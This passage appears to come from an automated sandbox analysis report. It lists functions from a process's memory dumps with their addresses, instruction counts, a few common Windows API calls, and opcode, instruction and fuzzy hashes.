Opcode Fuzzy Hash: 161bd7471c55cf5447b0efcd9d06242577b4837a0f4af46620bfcca963447129
Instruction Fuzzy Hash: 4341F0B1D00348DFDF14CF99C984ADEBBB5BF48314F64822AE819AB210D774A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02687780, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 02687F01

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 9ca3705692108077c74dac866525818e4dae223fa27aab3380472e9cbf6ccce6
Instruction ID: 5e63fad0f2a557d7957fb4d49fcd4c9356871f29784e817ca7fab1162143b8f7
Opcode Fuzzy Hash: 9ca3705692108077c74dac866525818e4dae223fa27aab3380472e9cbf6ccce6
Instruction Fuzzy Hash: F6411AB9A00205DFDB15DF99C448BABFBF5FB88314F248599E419AB361D734A841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02686B68, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02686BEF

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1b64434540f0e1caa3d683c7a6cab7812fe6f8935ccac62368be5cb5ab27d13e
Instruction ID: 217c33ee050ad9a91da731350e14edfecb19577a44f862a09ad8fccb84861878
Opcode Fuzzy Hash: 1b64434540f0e1caa3d683c7a6cab7812fe6f8935ccac62368be5cb5ab27d13e
Instruction Fuzzy Hash: 0221D3B5900258AFDB10CFA9D984ADEBBF8FB48324F14841AE914A3350D378A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02686B61, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02686BEF

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 54d47084c945632963e73b16ca37c28707358c69b1d3b3232631885a8b36c269
Instruction ID: 673da9fe5530367bd6bd5bbf18e6cb8d914e248772851bacf278cf83ee86f57e
Opcode Fuzzy Hash: 54d47084c945632963e73b16ca37c28707358c69b1d3b3232631885a8b36c269
Instruction Fuzzy Hash: F321E2B5900208DFDB00CFA9D584ADEBBF9FB48324F14852AE914A3350D778A955CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0268C198, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0268C212

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 486abeb62ecbce72b914de884dc41e7490f275d491be31e48256b2c19b38e814
Instruction ID: 53b48e693bd2af94c0b88231f35459b8fa169774194dd710e3009bdcd0ebd4cb
Opcode Fuzzy Hash: 486abeb62ecbce72b914de884dc41e7490f275d491be31e48256b2c19b38e814
Instruction Fuzzy Hash: 8A1189B1900304CFDB10EFA9D548B9EBBF4FB49714F24812AE409A3740C7396944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 026832D0, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02684116

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: cd837ae7f8357fdeab2ca6fbd64d7f9ffe429e54f7c45cd8bf758329bf0d5bea
Instruction ID: 5d99f3c5e2f740e448ed0122678fc2ba6cdc52ec35e2b7676e302d94d7dd3ebd
Opcode Fuzzy Hash: cd837ae7f8357fdeab2ca6fbd64d7f9ffe429e54f7c45cd8bf758329bf0d5bea
Instruction Fuzzy Hash: FC1120B28002498FDB20DF9AC444BEEBBF4EB49224F10852AD829B7200D778A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 026895D3, Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

SetWindowLongPtrW.USER32 ref: 0268967C

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 2f78051d1e97004eac5e5502500f2dad9589526a7b6e3361940f525f1406cc8a
Instruction ID: ef11b0f51f9088c5506996980911bd698aaa90b563fa590cd69d4aaefb65c191
Opcode Fuzzy Hash: 2f78051d1e97004eac5e5502500f2dad9589526a7b6e3361940f525f1406cc8a
Instruction Fuzzy Hash: 33018E70700540DBCB09BBB8E8291AC7BA1EFD4309B008529C0029B790CF39AC498BC2

Uniqueness

Uniqueness Score: -1.00%

Function 026840AB, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02684116

Memory Dump Source

Source File: 00000004.00000002.566690809.0000000002680000.00000040.00000001.sdmp, Offset: 02680000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b1ac4d83cd2d7a33d73aa04ffb9609d7d216a5ca7bd453944d89c686eacd3737
Instruction ID: b891e8744d39f1ac0181267e8f1322a0c45a04143039a401c9abdf8330a407c0
Opcode Fuzzy Hash: b1ac4d83cd2d7a33d73aa04ffb9609d7d216a5ca7bd453944d89c686eacd3737
Instruction Fuzzy Hash: F71140B6D0024A8FDB10DFAAC544BDEFBF5AF48324F10852AC429B7200C778A146CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00C719C0, Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

D0vm, xrefs: 00C71B43

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID: D0vm
API String ID: 0-1530869363
Opcode ID: 4c7d7a7a28c336c28e77e78c03251921267e4d86dc3c93b362d5606ce7a13e90
Instruction ID: f1ea9f832a732b39a5f1925233283d9fd17a5d60d71534d2ad564cb488f1ee68
Opcode Fuzzy Hash: 4c7d7a7a28c336c28e77e78c03251921267e4d86dc3c93b362d5606ce7a13e90
Instruction Fuzzy Hash: E951F531B00219CFC724EBB8D86466AB7B6EFC8310F088459DC0A973A9CF789D0187D2

Uniqueness

Uniqueness Score: -1.00%

Function 00C72F88, Relevance: .7, Instructions: 651COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0da9d355ad59daceda7314f052687a71479cc122554d948c0611119c19f68654
Instruction ID: 9ed6d636a643cf8afd36ce9e5bdd3362fccde91822cae1dc8fa1f69220e5f04d
Opcode Fuzzy Hash: 0da9d355ad59daceda7314f052687a71479cc122554d948c0611119c19f68654
Instruction Fuzzy Hash: C532D030B042848FCB15EBB4D9586AD7BF2AF89304F1584AAE409DB396DF39DD06CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C712E8, Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f9e9a67a5a9b70036c8388410c919642709701e7f04fb4525be9d96d966e12b
Instruction ID: a05b438b8d43070b8215c95249d0f90864c78cbefb06b8dc5d33d999a2bc1f3e
Opcode Fuzzy Hash: 7f9e9a67a5a9b70036c8388410c919642709701e7f04fb4525be9d96d966e12b
Instruction Fuzzy Hash: 10E10271A042448FCB15DB79C8546BE7BFAAF85300F18C4AAE85ACB352DB34DD46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C704D8, Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd0adc9f6e1f7a49d0b7df68e7b9de22e6b9418ac24f21f097198a34f77828cb
Instruction ID: 1b9a505f97f54b74f8f085b94333a85332bed11ef570b378dbb99d64c33bbb45
Opcode Fuzzy Hash: dd0adc9f6e1f7a49d0b7df68e7b9de22e6b9418ac24f21f097198a34f77828cb
Instruction Fuzzy Hash: 01C1AE30A00215CFCB15DB74C8596AEBBF2AF89304F2584AAE409EB395DF349D46CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00C75428, Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36262958f34dcf6d0816da949df5dde5c9549c0368680951c554bce7f1045611
Instruction ID: d19d669646506410194d453f03c205705177136921a7be1b90414d0eb069e20e
Opcode Fuzzy Hash: 36262958f34dcf6d0816da949df5dde5c9549c0368680951c554bce7f1045611
Instruction Fuzzy Hash: 4D610130B006448FDB64DB69C4853ADBBA6AFC4314F24C1AAE42D9F399DBB2CD46C751

Uniqueness

Uniqueness Score: -1.00%

Function 00C733A0, Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3567b8dafc80768d1565aac30af8b72069e8e96f563b55ec86aa962ab4028
Instruction ID: 42a6ba6be680f59e197975193faabd243f433c10516559547f05c7027500d733
Opcode Fuzzy Hash: b4a3567b8dafc80768d1565aac30af8b72069e8e96f563b55ec86aa962ab4028
Instruction Fuzzy Hash: BC51F330B006048FCB19EF74D55826E76E2BFC8309F148829E50ADB398EF359E46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C75329, Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928317a30475d3d40059a5a37dedfb71819b08fd496d5745432959660dcc03b8
Instruction ID: e92e6b5f9c7b06eeedd6b47891fd35eda6a06df5aace9f8958064a771e705ff2
Opcode Fuzzy Hash: 928317a30475d3d40059a5a37dedfb71819b08fd496d5745432959660dcc03b8
Instruction Fuzzy Hash: 1851C630B087848FD765A774C5543597FA69F82304F29C0EAD06D8F2ABDAB6CD4B8361

Uniqueness

Uniqueness Score: -1.00%

Function 00C75151, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af5734b862e6450040f949ac2830ccb5d8c4d950cbc12c0756fc81110b7c852
Instruction ID: 62d77bb4f5eed8f3b2fae14f53004798a73b212840a9a7612cfcc35751c39284
Opcode Fuzzy Hash: 8af5734b862e6450040f949ac2830ccb5d8c4d950cbc12c0756fc81110b7c852
Instruction Fuzzy Hash: 2541E230B093858FD702A7B488186A97FF5AB87300F59C1E6D45CDB296EB78DC0A8761

Uniqueness

Uniqueness Score: -1.00%

Function 00C72F28, Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8a3503df9ff409c83727d7130d476bdfbffdf06ed6f76944762f3f103d902d9
Instruction ID: 292a3c9bef05bb4c39cd40acec13dc8dc614eab4ec38a1c672411bcfd31d35e6
Opcode Fuzzy Hash: c8a3503df9ff409c83727d7130d476bdfbffdf06ed6f76944762f3f103d902d9
Instruction Fuzzy Hash: D451E130B042588FCB05EBB4D944AAEBBF2AF89304F15C069D54CDB396EB34DD468795

Uniqueness

Uniqueness Score: -1.00%

Function 00C71E78, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c3074b0974c1555d9a599791802756406ed34c26ed930b7a70274869ff0b521
Instruction ID: ae24e9b70342c1b741e003dce6af6dfed779bad1a452b1204c4843a640dffee9
Opcode Fuzzy Hash: 0c3074b0974c1555d9a599791802756406ed34c26ed930b7a70274869ff0b521
Instruction Fuzzy Hash: F141C530B04201CFCB04EF79C8549AE7BB6FF8A3047258599E519DB3A1DB349D02CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C78808, Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eb82a21911466fdc7f480d1cc826028f89d3cb92931013bec58b0560044d75e
Instruction ID: 8c6adfe3de1792f81e8acb744138bae73b1eeb8e35dc6bf1af88f7d2a6adc593
Opcode Fuzzy Hash: 2eb82a21911466fdc7f480d1cc826028f89d3cb92931013bec58b0560044d75e
Instruction Fuzzy Hash: 4B31A271A002048BD714DF6989987AEFBE2EF89310F58C56AD11EDB385DA34DD088752

Uniqueness

Uniqueness Score: -1.00%

Function 00C744C9, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5931becc3f3b62e0a94a021bc9d859f4e097c9774f40e872ae83727282b13e25
Instruction ID: e3086ecd3848b4807735bf9aea6d5007ac0f81787122b5fcc0b9246136ca1fc9
Opcode Fuzzy Hash: 5931becc3f3b62e0a94a021bc9d859f4e097c9774f40e872ae83727282b13e25
Instruction Fuzzy Hash: 7431B130B082544FDB69A6B8985476A37E6DFCA320F15C8BAE11ECB3D5EB24CC468751

Uniqueness

Uniqueness Score: -1.00%

Function 00C78818, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5cd4efaadfdb1e1f2a72016dfc4a0691affebaa12cf0f02581f39cf89e4800a
Instruction ID: 9b486ebe3ae29d8e7c60c16cfe47e248dcf925198973d50d75721e5e5d063c2d
Opcode Fuzzy Hash: b5cd4efaadfdb1e1f2a72016dfc4a0691affebaa12cf0f02581f39cf89e4800a
Instruction Fuzzy Hash: 51319271B002048BDB14DF69999976EFAE2EFC9310F54C52AD21DEB384DE34ED048752

Uniqueness

Uniqueness Score: -1.00%

Function 00C73828, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194e3d1b674d6f84f844a544e3c169b5ccdcc1f848c876f9b2d1664fb9801919
Instruction ID: ed1ee2366a0062b86d06ec7b56a19c02cfcbd2a0d506e1cf6e8a38ee54f7a62a
Opcode Fuzzy Hash: 194e3d1b674d6f84f844a544e3c169b5ccdcc1f848c876f9b2d1664fb9801919
Instruction Fuzzy Hash: D031C170B00258DFCB01EBB8D8455ED7BF1EF89304B1084A6E14DDB396EB349D0A9BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C743A8, Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1911f4b9a62e375e6c337a32d2ed259968815c89e6280092a5f3e4dba57d6586
Instruction ID: 32f8455c0459e1a90ee949d88e75e15679b1989e7aa71db0035ae51b015623e9
Opcode Fuzzy Hash: 1911f4b9a62e375e6c337a32d2ed259968815c89e6280092a5f3e4dba57d6586
Instruction Fuzzy Hash: 0F319135B002648FCB46EBB8D8519EE37F5EF89304B1184A6D14DDB2A5EB349C0AD790

Uniqueness

Uniqueness Score: -1.00%

Function 00C70971, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f491a9d9eabd2c3458d58c5ed02d9094148a680d6d09e07932e7991a4ae8a46c
Instruction ID: 3b69df557d9b6be0fe2a1e413b084a1f6d0a84b59bcd741b1c97d038871f0144
Opcode Fuzzy Hash: f491a9d9eabd2c3458d58c5ed02d9094148a680d6d09e07932e7991a4ae8a46c
Instruction Fuzzy Hash: 0C31C131F042548FCB41EB78D855AAE7BF1AF8A314B1580AAD14DDB356EB349C0ADB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C74288, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51afdb2c3829b0c53f01d7eb03801bb250517601de75f3d9fe4810cad1b1ff6c
Instruction ID: ab2e8c4b887403e4bf68eb80545bb5cb1208a86dd1dfb6417f07e46c3fe45e49
Opcode Fuzzy Hash: 51afdb2c3829b0c53f01d7eb03801bb250517601de75f3d9fe4810cad1b1ff6c
Instruction Fuzzy Hash: 9831D331B042648FCB45EBB8C8555EE7BF5EF8A304B2584A6E14DDB366EB349C06CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C73949, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 592b13014502fe2970b425be2d81845268163d8cfd87aa47d6c5bd61b7088749
Instruction ID: 9038a349bef7e4ae6f6e340220d92b0f0c73df5ea92787b2293e5fdd143731c6
Opcode Fuzzy Hash: 592b13014502fe2970b425be2d81845268163d8cfd87aa47d6c5bd61b7088749
Instruction Fuzzy Hash: 0931E630F082948FCB42EB78C8555AE7BF5AF89300B1584BAD14DD7396EB349D01DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00FFD274, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566407130.0000000000FFD000.00000040.00000001.sdmp, Offset: 00FFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccad6ef3b2b19bf3cae29fdcea8aa277d058e1cdee036190acc4b2e5e7022ce1
Instruction ID: 2773ab5bfea0372ed7bed9acd31a4d3f443da8c6fc409d35217117d28d314551
Opcode Fuzzy Hash: ccad6ef3b2b19bf3cae29fdcea8aa277d058e1cdee036190acc4b2e5e7022ce1
Instruction Fuzzy Hash: 8A212B72504204DFDF05CF54D9C4B26BB66FF88324F24C569DA054B256C336D816DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FFD450, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566407130.0000000000FFD000.00000040.00000001.sdmp, Offset: 00FFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e1ff14b0c51908f49b375afb60e1cf573ee7d3ba8d31e8c6874b3fbfdb4a04
Instruction ID: f967fa7b443193e6441dc1ea76c2ac1e8b8b29dde4c46e7ef624ebb7368cc74d
Opcode Fuzzy Hash: c0e1ff14b0c51908f49b375afb60e1cf573ee7d3ba8d31e8c6874b3fbfdb4a04
Instruction Fuzzy Hash: 782106B2904248DFDF04DF54D9C4B37BB66FF88324F288569DA050B266C336E845EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0100D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566442197.000000000100D000.00000040.00000001.sdmp, Offset: 0100D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de24e714b092cc9a4e26fc9fe7220beb15f404610e4d1d5744e7b280cb62cb31
Instruction ID: 2d80f811debe1f90d94f9f23919ec8d5006b765f3b2a6b856024c5ea241dfd28
Opcode Fuzzy Hash: de24e714b092cc9a4e26fc9fe7220beb15f404610e4d1d5744e7b280cb62cb31
Instruction Fuzzy Hash: 0B21D671504244DFEB16CFD4D9C4B16BBA5EB84354F24C9A9E88D4B286C336D846CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00C70D0A, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b24435f4a90a77a5b55661749e7c3240942fbe9ffc01366576dfaef91f38978
Instruction ID: 18353e21d38c213958d18b971cbc53c75cd6cffeddbf100fc2c7779c95ec1618
Opcode Fuzzy Hash: 6b24435f4a90a77a5b55661749e7c3240942fbe9ffc01366576dfaef91f38978
Instruction Fuzzy Hash: 9121D730B043888FCB41EBB8D84469D7BF5DF86344F2481AAD518DB296EB359D05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C7F508, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 728c88f4e8122136b6c972ec676faa9490fdb6c96f13dd1ea066a86c8f12d2a6
Instruction ID: 8cf9d45848e5c47231c1cd439663f76584dd000deaa75e7599f9a50ff2348058
Opcode Fuzzy Hash: 728c88f4e8122136b6c972ec676faa9490fdb6c96f13dd1ea066a86c8f12d2a6
Instruction Fuzzy Hash: 14212C2060D3849FD70697B4D8685567FB69F87344F5A84E6D098CF2A7E624DC0E8722

Uniqueness

Uniqueness Score: -1.00%

Function 00C74528, Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b495132e12c2115cfb17f054ca0b595acc8b1ac862be0dec23f58deee1d70ff5
Instruction ID: b5384fcbc54ee891d3554414433bce6e0dd363730d9f251f1b1286da8cc6c001
Opcode Fuzzy Hash: b495132e12c2115cfb17f054ca0b595acc8b1ac862be0dec23f58deee1d70ff5
Instruction Fuzzy Hash: 2A118E31B041144BEBA8A6BD9454B2E62D6DBC9324F25C839E61FCB384EF25DD424395

Uniqueness

Uniqueness Score: -1.00%

Function 00C71288, Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efa21b92f81e600cb06fb30ecba872977c409348d16c5a36ea510b91aaa5c0b9
Instruction ID: 92d6a1802db47813a9c6a13999f082415b75962fb26972aa227403e43773bc69
Opcode Fuzzy Hash: efa21b92f81e600cb06fb30ecba872977c409348d16c5a36ea510b91aaa5c0b9
Instruction Fuzzy Hash: EB11D33170D7908FD702A63C94141AA7FE69BC6315F1DC0FAD598CB6A2DB24DE0AC351

Uniqueness

Uniqueness Score: -1.00%

Function 00C73EC8, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c6278cb862ad2aee29b446355bc708370c39e786fab284bfae9947eefb7d5f4
Instruction ID: 9f4aa4e356f75ccb019d837c91d1d33cbeb46bb86ef3aa01b5626a78c2d1758e
Opcode Fuzzy Hash: 4c6278cb862ad2aee29b446355bc708370c39e786fab284bfae9947eefb7d5f4
Instruction Fuzzy Hash: 8D118231B001144BCF18ABF8D9186EE76E69FC8355B058979D90AE7384DF399D018BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00C741B8, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf17ec5eb6d6f917f0c65866a5b51baad9491c1fa247318d4aed0878f1fb82a9
Instruction ID: fd54a94506c9a223f6e7bc45bed7929b638417bacf6c39e4426d77de482157a0
Opcode Fuzzy Hash: cf17ec5eb6d6f917f0c65866a5b51baad9491c1fa247318d4aed0878f1fb82a9
Instruction Fuzzy Hash: E9116D71F005288FCB81EFB8D8855AE77F2FF8D210B118469E109E7365EB349D069B90

Uniqueness

Uniqueness Score: -1.00%

Function 00FFD26F, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566407130.0000000000FFD000.00000040.00000001.sdmp, Offset: 00FFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ddc1920513f94abbac08ab5da3363ca74ef81c70d48297909ee6572c65ee03b
Instruction ID: 321d1c8dd275794b5a9a79d14acfb09c238e6c948173506bceac3592d4ca6976
Opcode Fuzzy Hash: 6ddc1920513f94abbac08ab5da3363ca74ef81c70d48297909ee6572c65ee03b
Instruction Fuzzy Hash: E421A276804244DFDB06CF10D9C4B16BF72FF84324F24C6A9DA484B656C33AD45ADBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FFD44B, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566407130.0000000000FFD000.00000040.00000001.sdmp, Offset: 00FFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90e0a0dbabe2fb18eab409edb874f55ca7c7cf93b75ef3ae850eaa531d3eab53
Instruction ID: 14c722141acc41c4415c29fa7d370f846802cbd27dcb25400c1fbe63b3f662b7
Opcode Fuzzy Hash: 90e0a0dbabe2fb18eab409edb874f55ca7c7cf93b75ef3ae850eaa531d3eab53
Instruction Fuzzy Hash: 6011B176804284CFDF11CF10D9C4B26BF72FF84324F2886A9D9050B666C336D85ADBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0100D017, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566442197.000000000100D000.00000040.00000001.sdmp, Offset: 0100D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dee6b459bb36e796693a2bcff13a1c1ca0a03e4dfa9d43a9d833c43906ee4ea3
Instruction ID: 3047fdb6b38fd276fb7828bc0c9fb8d8f2ee0cbe3b0ceeb273c09fb8afd2b99e
Opcode Fuzzy Hash: dee6b459bb36e796693a2bcff13a1c1ca0a03e4dfa9d43a9d833c43906ee4ea3
Instruction Fuzzy Hash: DD118E75504280DFEB12CF94D5C4B15BBA1FB44324F24C6AAE8494B796C33AD44ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00C73888, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8721abdb951096d40b1556501d03c7847dd513418db6fb53639f03fcd11facf
Instruction ID: bb683192c3ec67c941267df0a16d12c9859c13205eb3755f8e375b52cef8e658
Opcode Fuzzy Hash: b8721abdb951096d40b1556501d03c7847dd513418db6fb53639f03fcd11facf
Instruction Fuzzy Hash: 4F115E30F002299F8B40FBB8D8459AE77F5EF8C254B118469E109E7358EB349D029BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C708B0, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d13c04067b5c23d9247e7290415f159a5f3b80ac7d1087e6422e656df78a4a96
Instruction ID: 366a996a8eb0b03e4aff647b633082b2b2a1553f1f5cf9cfeb9d9b41530d7fe2
Opcode Fuzzy Hash: d13c04067b5c23d9247e7290415f159a5f3b80ac7d1087e6422e656df78a4a96
Instruction Fuzzy Hash: CC113C30F001188F8B40EBB8D8469AEB7F5EF88614B108469E649E7359EB349D019BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C74408, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.566187569.0000000000C70000.00000040.00000010.sdmp, Offset: 00C70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
